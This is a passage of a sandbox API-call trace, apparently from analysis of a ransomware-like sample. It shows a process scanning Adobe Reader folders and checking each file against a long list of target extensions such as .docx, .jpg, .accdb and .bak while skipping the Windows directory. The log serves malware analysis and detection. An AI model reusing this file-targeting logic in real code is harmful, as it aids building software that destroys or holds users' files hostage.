(lpString1=".erf", lpString2="s.js") returned -1 [0262.185] lstrlenW (lpString=".exr") returned 4 [0262.255] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.255] lstrlenW (lpString=".f4v") returned 4 [0262.255] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.255] lstrlenW (lpString=".fido") returned 5 [0262.255] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.255] lstrlenW (lpString=".flm") returned 4 [0262.255] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.255] lstrlenW (lpString=".flv") returned 4 [0262.256] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.256] lstrlenW (lpString=".frm") returned 4 [0262.256] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0262.256] lstrlenW (lpString=".fxg") returned 4 [0262.256] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0262.256] lstrlenW (lpString=".geo") returned 4 [0262.256] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0262.256] lstrlenW (lpString=".gif") returned 4 [0262.256] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0262.257] lstrlenW (lpString=".grs") returned 4 [0262.257] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0262.257] lstrlenW (lpString=".gz") returned 3 [0262.257] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0262.257] lstrlenW (lpString=".h") returned 2 [0262.257] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0262.257] lstrlenW (lpString=".hdr") returned 4 [0262.257] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0262.257] lstrlenW (lpString=".hpp") returned 4 [0262.257] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0262.257] lstrlenW (lpString=".hta") returned 4 [0262.257] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0262.257] lstrlenW (lpString=".htc") returned 4 [0262.257] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0262.257] lstrlenW (lpString=".htm") returned 4 [0262.257] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0262.257] lstrlenW (lpString=".html") returned 5 [0262.257] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0262.257] lstrlenW (lpString=".icb") returned 4 [0262.257] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0262.257] lstrlenW (lpString=".ics") returned 4 [0262.257] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0262.258] lstrlenW (lpString=".iff") returned 4 [0262.258] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0262.258] lstrlenW (lpString=".inc") returned 4 [0262.258] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0262.258] lstrlenW (lpString=".indd") returned 5 [0262.258] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0262.258] lstrlenW (lpString=".ini") returned 4 [0262.258] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0262.258] lstrlenW (lpString=".iqy") returned 4 [0262.258] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0262.258] lstrlenW (lpString=".j2c") returned 4 [0262.258] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0262.258] lstrlenW (lpString=".j2k") returned 4 [0262.258] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0262.258] lstrlenW (lpString=".java") returned 5 [0262.258] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0262.258] lstrlenW (lpString=".jp2") returned 4 [0262.258] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0262.259] lstrlenW (lpString=".jpc") returned 4 [0262.259] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0262.259] lstrlenW (lpString=".jpe") returned 4 [0262.259] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0262.259] lstrlenW (lpString=".jpeg") returned 5 [0262.259] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0262.259] lstrlenW (lpString=".jpf") returned 4 [0262.259] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0262.259] lstrlenW (lpString=".jpg") returned 4 [0262.259] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0262.259] lstrlenW (lpString=".jpx") returned 4 [0262.259] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0262.259] lstrlenW (lpString=".js") returned 3 [0262.259] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0262.259] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.259] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0262.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.260] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0262.260] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp") returned 105 [0262.260] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp") returned 1 [0262.260] lstrlenW (lpString="ja-jp") returned 5 [0262.260] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ja-jp") returned -1 [0262.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.260] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp") returned 105 [0262.260] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0262.501] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.501] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.579] lstrlenW (lpString="ui-strings.js") returned 13 [0262.579] lstrlenW (lpString=".1cd") returned 4 [0262.579] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.579] lstrlenW (lpString=".3ds") returned 4 [0262.579] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.579] lstrlenW (lpString=".3fr") returned 4 [0262.579] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.579] lstrlenW (lpString=".3g2") returned 4 [0262.579] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.579] lstrlenW (lpString=".3gp") returned 4 [0262.579] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.579] lstrlenW (lpString=".7z") returned 3 [0262.579] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.579] lstrlenW (lpString=".accda") returned 6 [0262.579] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.579] lstrlenW (lpString=".accdb") returned 6 [0262.579] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.579] lstrlenW (lpString=".accdc") returned 6 [0262.579] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.579] lstrlenW (lpString=".accde") returned 6 [0262.579] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.579] lstrlenW (lpString=".accdt") returned 6 [0262.580] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.580] lstrlenW (lpString=".accdw") returned 6 [0262.580] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.580] lstrlenW (lpString=".adb") returned 4 [0262.580] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.580] lstrlenW (lpString=".adp") returned 4 [0262.580] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.580] lstrlenW (lpString=".ai") returned 3 [0262.580] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.580] lstrlenW (lpString=".ai3") returned 4 [0262.580] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.580] lstrlenW (lpString=".ai4") returned 4 [0262.580] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.580] lstrlenW (lpString=".ai5") returned 4 [0262.580] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.580] lstrlenW (lpString=".ai6") returned 4 [0262.580] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.580] lstrlenW (lpString=".ai7") returned 4 [0262.580] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.580] lstrlenW (lpString=".ai8") returned 4 [0262.580] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.580] lstrlenW (lpString=".anim") returned 5 [0262.580] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.580] lstrlenW (lpString=".arw") returned 4 [0262.580] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.580] lstrlenW (lpString=".as") returned 3 [0262.580] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.581] lstrlenW (lpString=".asa") returned 4 [0262.581] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.581] lstrlenW (lpString=".asc") returned 4 [0262.581] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.581] lstrlenW (lpString=".ascx") returned 5 [0262.581] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.581] lstrlenW (lpString=".asm") returned 4 [0262.581] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.581] lstrlenW (lpString=".asmx") returned 5 [0262.581] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.581] lstrlenW (lpString=".asp") returned 4 [0262.581] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.581] lstrlenW (lpString=".aspx") returned 5 [0262.581] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.581] lstrlenW (lpString=".asr") returned 4 [0262.581] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.581] lstrlenW (lpString=".asx") returned 4 [0262.581] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.581] lstrlenW (lpString=".avi") returned 4 [0262.581] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.581] lstrlenW (lpString=".avs") returned 4 [0262.581] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.581] lstrlenW (lpString=".backup") returned 7 [0262.581] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.581] lstrlenW (lpString=".bak") returned 4 [0262.581] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.582] lstrlenW (lpString=".bay") returned 4 [0262.582] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.582] lstrlenW (lpString=".bd") returned 3 [0262.582] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.582] lstrlenW (lpString=".bin") returned 4 [0262.582] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.582] lstrlenW (lpString=".bmp") returned 4 [0262.582] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.582] lstrlenW (lpString=".bz2") returned 4 [0262.582] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.582] lstrlenW (lpString=".c") returned 2 [0262.582] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.582] lstrlenW (lpString=".cdr") returned 4 [0262.582] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.582] lstrlenW (lpString=".cer") returned 4 [0262.582] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.582] lstrlenW (lpString=".cf") returned 3 [0262.582] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.582] lstrlenW (lpString=".cfc") returned 4 [0262.582] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.582] lstrlenW (lpString=".cfm") returned 4 [0262.582] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.582] lstrlenW (lpString=".cfml") returned 5 [0262.582] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.582] lstrlenW (lpString=".cfu") returned 4 [0262.583] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.583] lstrlenW (lpString=".chm") returned 4 [0262.583] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.583] lstrlenW (lpString=".cin") returned 4 [0262.583] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.583] lstrlenW (lpString=".class") returned 6 [0262.583] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.583] lstrlenW (lpString=".clx") returned 4 [0262.583] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.583] lstrlenW (lpString=".config") returned 7 [0262.583] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.583] lstrlenW (lpString=".cpp") returned 4 [0262.583] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.583] lstrlenW (lpString=".cr2") returned 4 [0262.583] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.583] lstrlenW (lpString=".crt") returned 4 [0262.583] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.583] lstrlenW (lpString=".crw") returned 4 [0262.583] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.583] lstrlenW (lpString=".cs") returned 3 [0262.597] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.597] lstrlenW (lpString=".css") returned 4 [0262.597] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.597] lstrlenW (lpString=".csv") returned 4 [0262.597] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.597] lstrlenW (lpString=".cub") returned 4 [0262.597] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.597] lstrlenW (lpString=".dae") returned 4 [0262.597] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.597] lstrlenW (lpString=".dat") returned 4 [0262.597] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.597] lstrlenW (lpString=".db") returned 3 [0262.597] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.597] lstrlenW (lpString=".dbf") returned 4 [0262.597] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.597] lstrlenW (lpString=".dbx") returned 4 [0262.597] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.597] lstrlenW (lpString=".dc3") returned 4 [0262.597] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.597] lstrlenW (lpString=".dcm") returned 4 [0262.597] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.597] lstrlenW (lpString=".dcr") returned 4 [0262.598] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.598] lstrlenW (lpString=".der") returned 4 [0262.598] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.598] lstrlenW (lpString=".dib") returned 4 [0262.598] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.598] lstrlenW (lpString=".dic") returned 4 [0262.598] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.598] lstrlenW (lpString=".dif") returned 4 [0262.598] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.598] lstrlenW (lpString=".divx") returned 5 [0262.598] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.598] lstrlenW (lpString=".djvu") returned 5 [0262.598] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.598] lstrlenW (lpString=".dng") returned 4 [0262.598] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.598] lstrlenW (lpString=".doc") returned 4 [0262.598] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.598] lstrlenW (lpString=".docm") returned 5 [0262.598] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.598] lstrlenW (lpString=".docx") returned 5 [0262.598] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.599] lstrlenW (lpString=".dot") returned 4 [0262.599] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.599] lstrlenW (lpString=".dotm") returned 5 [0262.599] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.599] lstrlenW (lpString=".dotx") returned 5 [0262.599] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.599] lstrlenW (lpString=".dpx") returned 4 [0262.599] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.599] lstrlenW (lpString=".dqy") returned 4 [0262.599] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.599] lstrlenW (lpString=".dsn") returned 4 [0262.599] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.599] lstrlenW (lpString=".dt") returned 3 [0262.599] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.599] lstrlenW (lpString=".dtd") returned 4 [0262.599] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.599] lstrlenW (lpString=".dwg") returned 4 [0262.599] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.599] lstrlenW (lpString=".dwt") returned 4 [0262.599] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.599] lstrlenW (lpString=".dx") returned 3 [0262.600] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.600] lstrlenW (lpString=".dxf") returned 4 [0262.600] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.600] lstrlenW (lpString=".edml") returned 5 [0262.600] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.600] lstrlenW (lpString=".efd") returned 4 [0262.600] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.600] lstrlenW (lpString=".elf") returned 4 [0262.600] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.600] lstrlenW (lpString=".emf") returned 4 [0262.600] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.600] lstrlenW (lpString=".emz") returned 4 [0262.600] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.600] lstrlenW (lpString=".epf") returned 4 [0262.600] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.600] lstrlenW (lpString=".eps") returned 4 [0262.600] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.600] lstrlenW (lpString=".epsf") returned 5 [0262.600] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.600] lstrlenW (lpString=".epsp") returned 5 [0262.600] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.600] lstrlenW (lpString=".erf") returned 4 [0262.600] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0262.600] lstrlenW (lpString=".exr") returned 4 [0262.600] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.601] lstrlenW (lpString=".f4v") returned 4 [0262.601] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.601] lstrlenW (lpString=".fido") returned 5 [0262.601] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.601] lstrlenW (lpString=".flm") returned 4 [0262.601] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.601] lstrlenW (lpString=".flv") returned 4 [0262.601] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.601] lstrlenW (lpString=".frm") returned 4 [0262.601] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.601] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0262.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.601] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0262.602] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr") returned 105 [0262.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.602] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr") returned 105 [0262.602] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0262.602] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.602] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.602] lstrlenW (lpString="ui-strings.js") returned 13 [0262.602] lstrlenW (lpString=".1cd") returned 4 [0262.602] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.602] lstrlenW (lpString=".3ds") returned 4 [0262.602] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.602] lstrlenW (lpString=".3fr") returned 4 [0262.602] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.602] lstrlenW (lpString=".3g2") returned 4 [0262.602] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.603] lstrlenW (lpString=".3gp") returned 4 [0262.603] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.603] lstrlenW (lpString=".7z") returned 3 [0262.603] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.603] lstrlenW (lpString=".accda") returned 6 [0262.603] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.603] lstrlenW (lpString=".accdb") returned 6 [0262.603] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.603] lstrlenW (lpString=".accdc") returned 6 [0262.603] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.603] lstrlenW (lpString=".accde") returned 6 [0262.603] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.603] lstrlenW (lpString=".accdt") returned 6 [0262.603] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.603] lstrlenW (lpString=".accdw") returned 6 [0262.603] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.603] lstrlenW (lpString=".adb") returned 4 [0262.603] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.603] lstrlenW (lpString=".adp") returned 4 [0262.603] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.603] lstrlenW (lpString=".ai") returned 3 [0262.604] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.604] lstrlenW (lpString=".ai3") returned 4 [0262.604] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.604] lstrlenW (lpString=".ai4") returned 4 [0262.604] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.604] lstrlenW (lpString=".ai5") returned 4 [0262.604] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.604] lstrlenW (lpString=".ai6") returned 4 [0262.604] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.604] lstrlenW (lpString=".ai7") returned 4 [0262.604] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.604] 